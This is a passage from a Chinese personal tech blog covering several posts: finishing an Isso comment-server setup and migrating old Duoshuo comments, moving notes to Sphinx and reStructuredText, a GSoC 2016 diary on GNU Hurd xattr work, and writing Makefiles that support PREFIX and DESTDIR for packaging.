    add_header Strict-Transport-Security max-age=15768000;
    ssl_stapling on;
    ssl_stapling_verify on;

    server_name comments.silverrainz.me;

    location / {
        proxy_pass http://localhost:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

至此，应当可以通过 HTTPS 访问 Isso 的脚本了。

样式

Isso 的评论框默认样式是配合亮色背景工作的，我用 CSS 稍稍做了一下调整，保存在 assets/comments.css 中：

#isso-thread {
    padding:8px;
    margin: 8px;
}

#isso-thread .isso-postbox {
    color: #333;
}

#isso-thread .auth-section .input-wrapper {
    margin-right: 4px;
}

#isso-thread .auth-section .post-action input {
    border-style: none;
    padding: 5px 20px;
    color: #DDD;
    background: rgba(255, 255, 255, 0.2);
}

#isso-thread .post-action input:hover {
    color: #FFF;
    background: rgba(255, 255, 255, 0.4);
}

#isso-thread .isso-comment a:hover {
    color: #FFF !important;
}

#isso-thread .isso-comment .isso-comment-header .author {
    color: #DDD;
    font-size: larger;
}

数据迁移

完成部署和简单的美化后，接下来就该把旧数据迁移过来了。

在多说宣布关闭的时候我就从后台导出了我的所有评论数据，数据文件的格式是 JSON，而 Isso 仅支持 Disqus 和 Wordpress 的 WXR 文件。本着不重复造轮子的原则，我找到了这个脚本：duoshuo-migrator，注意脚本依赖 python2 和 python2-lxml。

假设多说数据文件名为 duoshuo.json：

$ wget https://raw.githubusercontent.com/JamesPan/duoshuo-migrator/master/duoshuo-migrator.py
$ python2 duoshuo-migrator.py -i duoshuo.json -o wp.xml

然后导入 Isso 数据库：

# isso -c /etc/isso.conf import wp.xml

导入后到对应页面发现之前的评论并没有出现 :-(，使用以下命令将数据库的内容导出来看看

$ echo -e '"page: URI","page: title","ID","mode","created on","modified on","author: name","author: email","author: website","author: IP","likes","dislikes","voters","text"\n'"$(sqlite3 /var/lib/isso/comments.db -csv 'SELECT threads.uri, threads.title, comments.id, comments.mode, datetime(comments.created, "unixepoch", "localtime"), datetime(comments.modified, "unixepoch", "localtime"), comments.author, comments.email, comments.website, comments.remote_addr, comments.likes, comments.dislikes, comments.voters,comments.text FROM comments INNER JOIN threads ON comments.tid=threads.id')" > export.csv

这是导出来的 about 页面的一条评论：

...
"page: URI","page: title","ID","mode","created on","modified on","author: name","author: email","author: website","author: IP","likes","dislikes","voters","text"
/about.html,"关于",4,1,"2015-11-10 22:28:27",,"Forrest Chang",*************@gmail.com,http://forrestchang.github.io/,***.**.***.*,0,0,"","在知乎上看到，博主今年大二吗？"
...

而 wp.xml 中对应的部分是：

...
    <item>
      <title>关于</title>
      <link>http://lastavenger.github.io/about.html</link>
      <content:encoded><![CDATA[]]></content:encoded>
      <dsq:thread_identifier>5f3988f7e293c4ef57003c774e2a71aa</dsq:thread_identifier>
      <dsq:thread_identifier>5f3988f7e293c4ef57003c774e2a71aa</dsq:thread_identifier>
      <wp:post_date_gmt></wp:post_date_gmt>
      <wp:comment_status>open</wp:comment_status>
      <wp:comment>
        <dsq:remote>
          <dsq:id></dsq:id>
          <dsq:avatar></dsq:avatar>
        </dsq:remote>
        <wp:comment_id>6215529386569892609</wp:comment_id>
        <wp:comment_author>Forrest Chang</wp:comment_author>
        <wp:comment_author_email>*************@gmail.com</wp:comment_author_email>
        <wp:comment_author_url>http://forrestchang.github.io/</wp:comment_author_url>
        <wp:comment_author_IP>***.**.***.***</wp:comment_author_IP>
        <wp:comment_date_gmt>2015-11-10 22:28:27</wp:comment_date_gmt>
        <wp:comment_content><![CDATA[在知乎上看到，博主今年大二吗？]]></wp:comment_content>
        <wp:comment_approved>1</wp:comment_approved>
        <wp:comment_parent>0</wp:comment_parent>
      </wp:comment>

      ...

    </item>
...

在多说中我使用 Jekyll 提供的 {{ page.id }} 来标识文章，我在 about 页面设置的 id 是 /about，因此在 about 页面的评论框代码会请求获取 /about 页面中的评论，而数据库中的 URI 却是 /about.html。

从多说评论数据转换而来的 wp.xml 中并没有保留之前的文章 ID (Thread ID)，Isso 应该是直接从域名里把 URI 取出来当作文章 ID 的： <link>http://lastavenger.github.io/about.html</link> => /about.html。

于是尝试用 vim 把链接里面的 .html 去掉：:%s/.html</link>/</link>/，重新导入，评论就乖乖地出现了。

安全

// TODO

Isso 的安全性尚未考证，毫无安全技能点的我也只能先搁着了 :-(。

不足

当然 Isso 的缺点也是很多的……

没有管理界面，要管理评论只能手动操作数据库
交互并不好：从不在白名单的地址（/etc/isso.conf 的 hosts 列表）发出评论，评论框是没反应的；如果你的评论字数不足/邮件地址格式不对/网址不对，点评论按钮也不会有任何反馈
以后遇到了再补……

用 Sphinx + reStructuredText 构建笔记系统

2017-03-29T00:00:00+00:00

注意

这是一次失败的尝试，在此基础上我建立了更完备、可持续的系统，请看 我如何用 Sphinx 建立笔记系统 系列

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

前几天把个人笔记从 GitBook 迁移到了 Sphinx 上，并在 Read The Docs 上发布，地址是 notes.silverrainz.me，旧域名在过期前也同样有效。

前言

GitBook 是一个用于发布书籍的平台，允许你用 Markdown 编写书籍并使用 git 仓库管理，还能通过这个平台发布到网络上，GitBook 同时也是 Gitbook 平台推出的书籍生成工具的名字。

去年十月的的时候我开始用 GitBook + Markdown 维护自己的一些零碎的笔记。为此在 Arch Linux 打包了 nodejs-gitbook，又写了一个自动生成目录摘要的小脚本。

为什么现在我又迁移到 Sphinx + reStructuredText 呢？因为：

GitBook 是 Node.JS 写的
Markdown 无法适应稍微复杂的写作场景

为什么我不喜欢 Node.js

我不知道 Node.js 开发者为何如此热衷于用它来造各种轮子甚至用来写各种本地应用。 Node 的包管理器 npm 会将一个应用的所有依赖都安装在项目目录下。每个应用的依赖都是独立的 —— 这对部署来说很方便。并且 npm 的分包粒度相当细，随便装个包都能带上几百个依赖，连一个字符串的 leftpad 函数都可以单独作为一个包。去年愚人节的时候，这个梗都玩得很开心……

因此 Linux 发行版的打包者要打包一个 Node 包，就得打包并维护它附带的成百上千的依赖，或者直接将包本身和依赖打在一起，代价就是要更新其中一个依赖就得更新整个包以及接受系统中的文件重复。总之，Node.js 的打包只能在麻烦和冗余两者之间作出选择。听说 openSUSE 社区还写了一套工具专门用来从多如牛毛的 npm 包自动生成 rpm 包。

当然对于 Arch Linux 社区，肯定是拿起一把梭就干，即使是官方源的包也都是：

npm install -g --user root --prefix "$pkgdir"/usr "$srcdir"/$pkgname-$pkgver.tgz

依赖什么的？不管，例行公事地从 source 下载要安装的包，依赖的什么完全由 npm 处理。

于是我打包的 nodejs-gitbook （事实上还包含了 nodejs-gitbook-cli）足足有 2w+ 个文件，我仿佛看到无数细碎的 Javascript 脚本在我的 SSD 上蠕动……

/ la @ la-arch 10:35 -> ~
$ pacman -Ql nodejs-gitbook | wc -l
23009

相比之下 python-sphinx 清爽多了：

/ la @ la-arch 21:27 -> ~
$ pacman -Ql python-sphinx | wc -l
922

除去打包上的槽点，nodejs-gitbook 这工具的使用体验也是相当差：目录文件 SUMMARY.md 需要自己手动写；在我 i5 + 8G + SSD 的电脑上生成一本有 24 个 md 文件的书籍需要 8.6 秒 —— 它似乎并没有办法 incremental build；gitbook serve 命令能在本地启动一个 HTTP Server 预览书籍，并且文件改变的时候网页会自动刷新，这很赞，可是你为什么没告诉我每次文件改动都要 重载所有插件，重启 HTTP Server 并且所有的文件重新生成一遍 呢？于是每次改动后你需要十多秒后才能够「实时预览」。

以上所述的问题针对 GitBook 3.2.1 及以下版本。

Markdown vs reStructuredText

Markdown 是啥这里就不说了……Markdown 的问题在于它太轻又没有一个统一的标准。因此各个社区都自顾自地实现了一套自己的方言，同样是叫 Markdown，你在这里可以显示的内容，换了一个地方就打回原型。当然你可以选择使用这些方言里面所共有的语法，而这点语法可能只够在论坛回回帖用。

目前最流行的 Markdown 方言应该是 GFM(GitHub Flavored Markdown) 了，但即使你坚持只用 GFM 编写你的文档，你依然会遇到问题：不同的 GFM 的实现存在细节上的差异。声明标题的 # 后面需要空格么？加粗字体的 ** 左右需要空格隔开么？直接跟非符号的文字会有问题么， Unicode 的文字和符号能被分清么？在不将文件生成为 HTML 之前，你很难知道你的文档是什么样子。

另，程序员是 Markdown 的主要使用群体，而 Markdown 居然使用「在行末空两格」作为换行标记，trailing whitespace 怎么能忍呢……（这个貌似是扩展语法）

reStructuredText 同样是轻量标记语言的一种，Python Docutils 是其主要实现， reStructuredText 的语法稍微复杂了一点，具体可以看 reStructuredText 简介。

相对于 Markdown，reStructuredText：

提供了更丰富的语法元素：原生 Markdown 并不能调整插图大小，不支持表格（GFM 支持），不支持脚注，引用，注释 —— 当然这些 reStructuredText 都支持
对格式的要求更高：我所见过 Markdown 渲染器对待 Mardkown 的态度和浏览器对于 HTML 类似，在处理无法识别的语法的时候会选择忽略。而 Docutils 在遇到未知语法的时候会报错。因此 Markdown 用户可能需要多次的预览文档来排错，而 reStructuredText 用户可以从报错获得出现错误的位置
有更统一的实现：这一点貌似不太公平，因为 Markdown 的实现众多，而 reStructuredText 貌似就只有 Docutils 了？但实际上 reStructuredText 的标准也比 Markdown 明确得多
在语法上提供了扩展的途径。而 Markdown 并没有，通用的扩展方法是在文档里插入 HTML 标签……

就我所知， reStructuredText 有两种支持扩展的语法：解释文本（Interpreted Text）和指令（Directives）。

在 reStructuredText 中，用单个反引号 `` ` 包围的字符串称为 Interpreted Text ，反引号中的内容根据角色（Role）有不同解释方式。Role 由冒号 : 包围，可以位于 Interpreted Text 的前后。reStructuredText 利用 Interpreted Text 实现了不少的内联标记。比如：

:emphasis:`text` 等价于 *text*
:strong:`text` 等价于 **text**

Interpreted Text 只能作为行内元素使用（无法跨行），而 Explicit Markup 。作用的对象则是文本块。Explicit Mark 以在行首的两个句号 .. 开始，后跟一个空格，接下来的行保持相同缩进，直到文本块结束。

Explicit Markup 被用来实现

脚注：

这是脚注 [#f1]_ ，这也是脚注 [#f2]_ 。

.. [#f1] 第一条脚注的文本.
.. [#f2] 第二条脚注的文本.

引用：

这篇笔记参考了 [reStructuredText 简介]_

.. [reStructuredText 简介]_ http://zh-sphinx-doc.readthedocs.io/en/latest/rest.html

显式的超链接：

这是一个 `标题`_

.. _标题: http://silverrainz.me

指令（Directives）是 reStructuredText 的又一扩展机制：插入图片，代码声明等语法均由 Directives 实现，和 Role 一样，指令可以被开发者定义。指令名后跟两个冒号，冒号后是参数。在新的一行里可以指定选项，选项由 : 包围，后跟选项值。选项之后还可能有文本块。
```
.. 能够指定高宽，alt 文本，对齐的图片，比 Markdown 不知道高到哪里去了~
.. image:: picture.jpeg
    :height: 100px
    :width: 200 px
    :scale: 50 %
    :alt: alternate text
    :align: right
```

Sphinx 简介

Sphinx 是 Georg Brandl 用 Python 编写的文档创建工具，以 BSD 协议开源，使用 reStructuredText 作为标记语言。Sphinx 被用来编写 Python 的官方文档。去年 6 月的时候，Linux Kernel 也开始使用 Sphinx + reStructuredText 管理内核文档。这里有一个使用 Sphinx 创建文档的项目列表：Projects using Sphinx。

Sphinx 能够将文档输出为 HTML，LaTex，Manuals page 等多种格式。
在 reStructuredText 的语法基础上提供了各种信息（文档，章节，函数，引用，术语）的交叉引用
Sphinx 还能轻松地定义文档的层次结构：自动生成目录树，自动发现目录下的其他文档
Sphinx 对 Python/C/C++ 等语言提供了良好的支持
支持扩展，你可以编写自己的模块

看起来 Sphinx 的功能比 GitBook 丰富得多，但其实它们之间没什么可比性，因为 Sphinx 是文档生成工具而 GitBook 只是简单的书籍生成工具。

将 Markdown 笔记转化为 reStructuredText

使用 Sphinx 管理笔记的第一步是将之前笔记转成 rst 格式，Pandoc 大法好：

for md in $(find . -name '*.md'); do
    pandoc --from=markdown --to=rst --output=$(dirname $md)/$(basename $md).rst $md;
done

Shpinx 的安装和使用

执行 pip install sphinx 即可安装 Sphinx，Arch Linux 用户可以执行 pacman -S python-sphinx 安装。Sphinx 提供了 sphinx-quickstart 程序，可以交互式地建立一个 Sphinx 项目。项目目录下的 conf.py 储存了 Sphinx 的配置， index.rst 则是默认的文档首页。

使用 sphinx-build -b html <srcdir> <builddir> 可以从 <srcdir> 生成 HTML 文档输出到 <builddir>，如果在 sphinx-quickstart 中指定了生成 Makefile，通过 make html 即可生成 HTML 文档到预定义的 build 目录。

Sphinx 似乎没有提供类似 gitbook serve 在本地启动 HTTP 服务器的功能，Linux 用户在 Makefile 中增加如下内容则可方便的在默认浏览器打开文档的首页：

view:
    xdg-open "$(BUILDDIR)/html/index.html"

组织和索引

Sphinx 定义了 toctree 指令作为目录树，各个文档由目录树组织在一起，在构建文档的时候，如果存在没有被引用到的文档，Sphinx 会发出警告。

.. toctree::
    :maxdepth: 2

    intro

上面的 rst 指令定义了一个最大深度为 2 的目录树，包含了当前目录下的 intro.rst 文件。在渲染出来的 HTML 文件中，目录树会显示到 intro.html 的链接，链接的标题则会和 intro.rst 中的标题保持一致。如果 intro.rst 中存在章节，也会在目录树中显示出来，但整个目录树的深度不超过 2。

如果只想要在目录树中显示文档的标题而不显示内部的章节，需要为 toctree 指令开启 :titlesonly: 选项。

toctree 在开启 :glob: 的情况下支持通配符，比如 * 匹配当前目录下所有的（排除自身，下同）rst 文档。index* 匹配当前目录下所有以 index 开头的 rst 文档。

我在笔记的不同分类的文件夹中都建立了如下内容的 index.rst：

Title
=====

Description.

.. toctree::
   :glob:
   :titlesonly:

   *
   */index

这个 index.rst 会匹配当前目录所有的 rst 文档，并在所有的文件夹下寻找 index.rst。所有的笔记通过 index.rst 被组织到一起。

使用 Read The Docs 发布

Read The Docs 是一个托管和展示文档的平台，支持 Sphinx 项目。在网站上注册后，授权 Github 即可从 Github 那边导入仓库。

因此可以将笔记本身托管在 Github 上，每次更新时会通过 webhook 自动更新 Read The Docs 上的文档。

P.S. Read The Docs 的主站看起来很简陋…… 给我一种要完蛋了的感觉。

GSoC 2016 小记 - 误打误撞三个月

2016-09-29T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

这是一篇拖了一个月的流水帐……

谷歌编程之夏（Google Summer of Code/GSoC）是 Google 举办的年度编程活动，征集学生为开源社区编写代码，时间持续三个月，成功完成项目的学生可以得到 Google $5500 的报酬，同时开源社区也能得到 $500 的赞助。

我有幸参加了 2016 年的 Google Summoer of Code，为 GNU/Hurd 项目工作并完成预期目标，在此记录。

从写 Proposal 到放弃

三月初的时候在 #archlinux-cn 听 ^{Render Report}

说今年 Tox 社区要参加 GSoC 并开始招人的事情，当然也提及了 Tox 去年闹出的一桩事： Current situation of Tox #1379 这时候我才知道 GSoC 的存在。简单在网上搜索了一下，正好大三下学期也基本没课了，便萌生了要试试的想法。

参与的学生需要在 Google Summer of Code 上注册，并寻找你心仪的 organization，并在网站上针对 organization 的某个项目提交提案（Proposal），这些组织一般都是著名的开源社区，比如 GNU、Linux Fundation、GNOME、KDE、Wine、Apache 等等。 Proposal 用来告诉社区你为什么认为自己能胜任这个项目，将如何做这个项目，以及你的时间安排等，有些社区会提供一些 proposal 模板，告知你一些必须回答的问题。一个学生可以提交至多五份提案。

于是开始挑 organization，因为我比较熟悉的语言就只有 C，写过 toy kernel 和 GTK 程序，因此最后敲定了两个组织： GNU 和 GNOME，前者有 Hurd 内核项目，后者用 GTK 框架写程序，大概能算是我比较擅长的部分吧。

接着开始在网上找资料写 proposal，上了一下 #hurd 频道打了一下招呼，然后就没有然后了…… 看到其他人写的 proposal 和网上的描述，开始觉得 GSoC 以我的能力是参加不了的，于是一字未写，在心里默默跟自己说放弃好了。

到了 3 月 23 号，那天早上不知道为什么突然来了劲儿，决定只报一个项目： GNU/Hurd 的 Implement xattr Support。在当天早上把 proposal 写好并马上提交了最终版…… 然后给学生证拍了张照片作为入学证明上传。

3 月 29 号，被邮件告知「Your GSoC 2016 Proof of Enrollment form was rejected because: not english/missing translation.」，仅仅拍学生证不够，还需要加上写英文说明，当时我的想法是，反正 proposal 也过不了，于是没搭理邮件。

4 月 7 号，在我没有采取任何行动的情况下，Google 又发邮件说 Proof of Enrollment 已经通过验证了…… :-| 大概是找了华人员工来审核的吧，当时心理暗想 Google 的工作人员真的好负责啊……

再往后，每天跟着舍友去图书馆，写还当时未成型的 Srain，其间有 GNU 的成员在我的 proposal 上留言评论……我也没去回复，渐渐把这件事忘记了。

Welcome to GSoC 2016!

4 月 23 号，刚起床看到有封邮件，

GSoC 2016: Congratulations, your proposal with GNU Project has been accepted!

觉得有点激动又难以置信，还特意发了篇博客得瑟了一下。

接下来就根据邮件的要求：

看学生须知，
上传税务表（Tax form），国外的学生只需要下载 Foreign Certification Form 打印出来签名扫描上传便好
注册 Payoneer 帐号设置收款账户 :-D
完善个人信息

做完以上事情后，GSoC 就可以正式开始了，从 4 月 23 号到 5 月 22 号是 Community Bonding Period，用来和社区成员交流，配置开发环境，熟悉工作流程等。

焦虑的 Community Bonding

Hurd 当前的开发者基本在欧洲，我的两位 mentor： Richard Braun 和 Justus Winter 也是，由于时区相差太大，一般在下午五点以后跟他们用 IRC 联系。

在同 mentor 们联系之后，我开始看 Hurd 的文档，作为一个除了开发者之外几乎没人用的系统 :-( ……除了 Wiki 之外没有任何参考的资料，甚至项目中的文档也是严重过期的。

我的项目是 Implement xattr Support：在 Hurd 的 ext2 文件系统上（是的，Hurd 依然在用 1993 年发明的的文件系统 :-(）上实现文件扩展属性（Extended file attributes/xattr），xattr 是一种文件系统的特性，能为磁盘上的文件添加键值对（Key/Value pair），文件之于 xattr，类似进程之于环境变量。并使用 xattr 来储存 Hurd 所需的元信息。

Hurd 并不是一个内核，而只是一套微内核守护进程，真正的内核是 GNU Mach，大部分的功能都使用 translator 实现在用户态。

Translator 是一类程序，相当于一个 Server，translator 需要与一个文件绑定，用户通过访问这个文件来实现对 Server 的请求，如下：

$ touch hello
$ cat hello
$ settrans hello /hurd/hello
$ cat hello
"Hello World!"
$ settrans -g hello
$ cat hello

Translator 分为 passive translator 和 active translator，passive translator 只是一个命令行，储存在磁盘中，当该文件首次被访问时执行，在我实现 xattr 之前， passive translator 一直是简单地储存在一个临时申请的块中（这就是 Hurd 需要 xattr 的原因：用更通用的方式来储存 passive translator）。

ext2 文件系统的 translator 叫做 ext2fs，位于 /hurd 目录下，我的全部工作，就是为 ext2fs 的代码添加 xattr 支持，因此，虽说是内核项目，但是全过程都在用户态下进行。

这些东西也都是后来才慢慢知道的，一开始我只是埋头看文档，Hurd is not Linux，很多概念都和 Linux 差别极大……我本来的英文就很差，效率也不行，越看越乱，每天都坐在电脑前配合着 Google 翻译看文档，一天八九个小时下来，集中精神看的时间可能不到十分之一，Braun 每天都会询问我进度，我又支支吾吾说不出来。

有时候会遇到些看不懂的句子，问 mentor 们的时候又因为英文问题而交流不畅，那时候真恨不得自己变成个外国人。

那时候我开始觉得到我可能胜任不了这份工作，GSoC 每年大概有近 10% 的学生无法完成任务（Fail），我会是那 10 % 么？

这样焦虑的日子持续了一两个星期，终于有一天在讨论 Hurd 中 port 的概念时，Braun 说：

"i think next years, we'll make sure students understand this before they get accepted, as part of the communit bonding period"

这个时候再不行动，被 fail 就是可预见的未来了，我已经没有心情和自制力去继续看文档了，还是直接写代码吧。

不过，看文档的这段时间虽然很痛苦，但是也不是没收获，我从中了解到了一些 micro kernel 的概念，并且也不再像以前那样害怕英文文档了。

编程之夏

大概从 5 月 18 号开始，我从无脑看文档转为写代码，写代码比看文档愉快多了 —— 这大概也是我编程能力止步不前的原因吧，瞎写代码不看书。 mentor 们显然对我之前看文档表现出来的低下的效率和理解力很不满意，但依然对我的问题有问必答。

其实 Hurd 在 06 年的时候就有人提交过 xattr 的 patch：GNU Savannah patch #5126，当然那个 patch 很不完善（于是就这样搁置了 10 年吗 orz），到现在更是完全跑不起来了。

所以其实项目的最小目标就是：把这个 patch 修好 —— 当然这是后话了，那时候我不知道项目原来这么简单……

于是我开始修 patch，参照 ext2fs 的其他代码，把旧函数用新函数替代，把能看懂的地方看懂，加上注释，看不懂的地方标注出来，在接口代码上打洞，方便从外部测试这些代码。

修完之后便参考 The Second Extended File System 和 Linux Kernel 的代码，修正原来代码中的 Bug，补全缺失的 xattr 函数。

写代码比起看文档有实实在在的产出，也就有东西向 mentor 们汇报了，相比他们对我的评价也有所上升，从 5 月 18 号到 7 月 4 号，我完成了大部分的功能并进行了调试，实现并导出了如下四个函数：

/* 列出节点的所有 key */
error_t ext2_list_xattr (struct node *np, char *buffer, int *len);
/* 获取节点指定 key 的值 */
error_t ext2_get_xattr (struct node *np, const char *name, char *value, int *len);
/* 设置节点指定 key 的值 */
error_t ext2_set_xattr (struct node *np, const char *name, const char *value, int len, int flags);
/* 删除储存 xattr 信息的块 */
error_t ext2_free_xattr_block (struct node *np);

5 月 18 号到 6 月 28 号，这段时间每天都保持着 6-7 * 6 个小时的工作时长，用这么长时间是为了弥补我的低下的工作效率…… 6 月 28 日后，由于脑残学院的规定，我不得不离开宿舍到一个恶心的培训公司实训，并在那个公司度过了大量不愉快的时间，详情不表。我从来没有这么讨厌过自己的学校，待我毕业后一定要上知乎狠狠撕一下这个愚蠢的实训制度。#FLAG

这段时间的代码都提交在 SilverRainZ/hurd at gsoc-2016-xattr 上。

夏日的怠惰尾声

就如同上面所说的，只要修好这个 patch 并补全 xattr 的功能，项目就算完成了，「GSoC 原来这么水啊……」，我开始产生了这种想法，一旦完成了最小目标，我就开始松懈，在接下来的时间我更多地把精力放在了 Srain 的开发上。

对于 GSoC 那边，仅仅是整理了代码和 commit 并再次测试，两位 mentor 对我后期的怠惰倒是没什么意见，虽然我本来可以做更多的…… 预期的目标是在实现 xattr 之后实现 libdiskfs （文件系统 translator 库，类似 vfs）以及 libc 接口，并把 xattr 的一系列工具 port 过来：这些最后都因为我的懒惰而没有动手。

这段时间我也不再天天挂在 IRC 上，而是每隔两三天上一次，mentor 们也没有向我询问进度，反而是我一直在催他们 review 我的代码，征求他们的建议。他们似乎很忙，总体来看并没有积极地 reivew，这让我有点失望。但建议还是收到一些的，改了一些关于兼容旧 passive translation 的代码，apply 了几个 justus 的小 patch。

摸鱼的日子一天天过去，迎来了 final evaluations，根据 mentor 的指导写了 GNU style 的 changelog，把整理好的两个 patch 发给他们，并写了一封总结邮件 [GSoC] Implement xattr Support Update 到 Hurd 的邮件列表。接着又到 GSoC 的网站上完成了 final evaluations。

8 月 30 号，收到了 GSoC 完成的通知，结束了这个不算完美的夏天。

总结

我之所以能被 accept，和我的选择是有密切关系的：

内核项目门槛稍高
Hurd 是冷门（想也知道）项目，
Implement xattr Support 是比较重要的项目
申请的学生里之前普遍没有参与过 Hurd 的开发

因此，和我竞争的学生大概只有 6、7 位，Hurd 最终 accept 了两位学生，除我之外，另一位是 Phant0mas，去年的 GSoC 也为 Hurd 贡献了代码，我觉得如果申请的学生中存在本项目的开发者的话，其他人大概都没什么戏。当时在选择 Hurd 的时候，其实也怀着「冷门项目大概没什么人报吧」这样的想法。

对于这次的 GSoC，我不满意，自己的参与度不够，一方面受制于自己的英语水平，一方面自己依然没办法打败自己 —— 自制力太低，效率太低。导致我最终仅仅是名义上地完成了项目，没有继续贡献社区，也没有交到什么朋友，甚至连自己的代码能不能 merge 到主线都说不准。

在这其间我收到了 Google 的三笔付款 3234.86 + 14635.59 + 17959.75 总计 35830.2 元，一只圆珠笔，一本本子，一封 PDF 形式的电子证书，还有一件还在路上的 T-shirt，物质收入颇丰。

编写便于打包的 Makefile

2016-06-25T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

Note: 这篇文章假设你已经知道基本的 Makefile 编写规则

前言

安装基于 make 构建的程序基本上就是两个步骤：make 然后 make install，前者把程序按依赖关系编译，后者把文档、数据、编译出来的二进制安装到系统中。网络上关于 GNU Make 的教程不少，但似乎都止于「如何用 Makefile 自动编译程序」（make），而关于用 Makefile 编写安装脚本（make install）的文章却寥寥无几。

2016-08-10: 经盖子提醒，make 本来就不适合做这种事情，于是才有了 autotools 这「更好」的构建工具。

最近在写 Srain 的时候，算是摸索出了对于 make install 的比较正确的写法：

首先，对于项目生成产物只是单个可执行文件的情况下，直接在 install 目标里写 install -Dm755 xxx /usr/bin/xxx 就好了。但是并非所有项目都只包含单个可执行文件，程序可能还包含了 man 文档，icons，图片，配置文件等，这些都要被安装到文件系统相应的位置上。

我们先假设项目的结构如下，代码写了什么不重要~

.
├── build
├── data
│   ├── pixmaps
│   │   └── srain-avatar.png
│   └── icons
│       └── 16x16
│           └── srain-icon.png
├── Makefile
└── srain.c

build 是存放编译中间文件和编译出来的二进制文件的地方，srain.c 是主程序代码， srain-avatar.png 是程序要用到的图片。srain-icon.png 是程序图标。

安装图标

对于图标，Icon Theme Specification[1] 规定了图标在文件系统上的位置，程序只需要根据图标的名称（即文件名去掉扩展名）和大小就可以获得图标文件的路径（当然要借助各种库函数，比如 gtk 的 gtk_image_new_from_icon_name），因此我们只要将图标文件复制到对应的位置上即可。

根据上面的 spec，程序寻找图标时应该依次检查 $HOME/.icons、$XDG_DATA_DIRS/icons 和 /usr/share/pixmaps。

参照 XDG Base Directory Specification[2] 看，当 $XDG_DATA_DIRS 为空时，$XDG_DATA_DIRS 会默认为 /usr/local/share/:/usr/share/ （感谢 csslayer 指出）。

因此把图标安装在 /usr/share/pixmaps、/usr/local/share/icons 和 /usr/share/icons 下都是可行的，Arch Linux 偏向于安装在最后一个目录。于是安装 大小为 16x16 的图标 的脚本可以这么写：

cd data/icons/16x16; \
    for png in *.png; do \
        install -Dm644 "$$png" \
            "$(DESTDIR)/usr/share/icons/hicolor/16x16/apps/$$png"; \
    done

这里先不管 $(DESTDIR) 是什么东西，把它当作空变量即可：

install -Dm644 "$$png" \
    "/usr/share/icons/hicolor/16x16/apps/$$png"; \

PREFIX

除了图标之外，其他的数据文件应该如何组织？至少我们应该做到的是：

保证程序一定能找到数据文件
一定程度上允许用户自定义安装的位置

GNU make 提供了 prefix 等变量确定各种文件安装的位置[3]：

prefix 是下述变量的前缀，默认的 prefix 值应该是 /usr/local
- exec_prefix 是下述变量的前缀，通常和 prefix 相等
  - bindir 安装可执行文件的位置，其值应为 $(exec_prefix)/bin
  - System Message: INFO/1 (/home/runner/work/silverrainz.github.io/silverrainz.github.io/src/blog/practical-makefile-for-packaging.rst, line 110)
    
    Unexpected possible title overline or transition. Treating it as ordinary text because it's so short.
    
    ...
- datarootdir 用来安装只读的，架构无关的数据文件，其值应为 $(prefix)/share
- sysconfdir 用来安装只读的配置文件，其值应为 $(predix)/etc
- System Message: INFO/1 (/home/runner/work/silverrainz.github.io/silverrainz.github.io/src/blog/practical-makefile-for-packaging.rst, line 114)
  
  Unexpected possible title overline or transition. Treating it as ordinary text because it's so short.
  
  ...

上面列出了各种用途的变量，但事实上我们不需要把数据文件分成那么细的粒度。对于简单的项目，只有 prefix 是必要的，其他路径都可以 hardcode。

make install 可以这么写（为了命名统一，prefix 用大写）：

PREFIX = /usr/local

install:
    install -Dm755 "build/srain" "$(PREFIX)/bin/srain"
    cd data/pixmaps; \
        for png in *.png; do \
            install -Dm644 "$$png" \
                "$(PREFIX)/share/srain/pixmaps/$$png"; \
        done

放置各种文件的规范有了，但程序应该如何找到他的数据文件呢？用 gcc 的 -D 参数声明一个宏，在编译的时候告诉程序的 prefix：

CC = gcc
CFLAGS = -O2 -Wall
DEFS = -DPACKAGE_DATA_DIR=\"$(PREFIX)\"

TARGET = build/srain

$(TARGET): srain.c
    $(CC) $(CFLAGS) $(DEFS) $^ -o $@

在程序中你就可以根据这个宏在获得你的数据文件：

#ifndef PACKAGE_DATA_DIR
#define PACKAGE_DATA_DIR "/usr/local"
#endif

gchar *get_pixmap_path(const gchar *filename){
    gchar *path;

    path = g_build_filename(PACKAGE_DATA_DIR, "share",
            "srain", "pixmaps", filename, NULL);

    if (g_file_test(path, G_FILE_TEST_EXISTS)){
        return path;
    }

    g_free(path);
    return NULL;
}

注意上面的代码使用了 glib 函数库，当指定 prefix 为 /usr，程序便会从 /usr/share/srain/pixmaps 里寻找图片。

自行编译安装的程序通常被安装在 /usr/local, 这也是 GNU 推荐的 prefix， Arch Linux 的包的 prefix 通常是 /usr。

如上一番设定后，程序经过编译和安装后便可以运行指定的任意目录上了，你也可以指定为 $(PWD)/build 方便调试。

make PREFIX=/usr; make PREFIX=/usr install 后，产生的文件如下：

/usr/bin/srain
/usr/share/srain/pixmaps/srain-avatar.png
/usr/share/icons/hicolor/16x16/apps/srain-icon.png

make PREFIX=/home/la/tmp; make PREFIX=/home/la/tmp install 则是：

/home/la/tmp/bin/srain
/home/la/tmp/share/srain/pixmaps/srain-avatar.png
/usr/share/icons/hicolor/16x16/apps/srain-icon.png

DESTDIR

上面的 make install 直接将各种文件安装在了目的文件系统上，如果 Makefile 写错的话，可能对系统造成破坏，直接安装也不利于打包，正确的做法是，由 make install 得到程序所有文件的列表和路径，再由包管理器把这些文件和路径存为软件包，安装的时候根据路径把文件放到应该放的位置（这大概就是 Staged Install？）。（这里感谢青蛙老师 👤 hexchain 的指导）

变量 DESTDIR[4] 就是用来实现 Staged Install 的，把之前的 make install 改成这样：

PREFIX = /usr/local
install:
    install -Dm755 "build/srain" "$(DESTDIR)$(PREFIX)/bin/srain"
    cd data/pixmaps; \
        for png in *.png; do \
            install -Dm644 "$$png" \
                "$(DESTDIR)$(PREFIX)/share/srain/pixmaps/$$png"; \
        done

注意 DESTDIR 变量只应该作用在 install 阶段，make PREFIX=/usr; make PREFIX=/usr DESTDIR=/tmp/ 会把所有文件都安装在 /tmp 下，所有的影响都被限制在该目录内。这次生成的文件应该是：

/tmp/usr/bin/srain
/tmp/usr/share/srain/pixmaps/srain-avatar.png
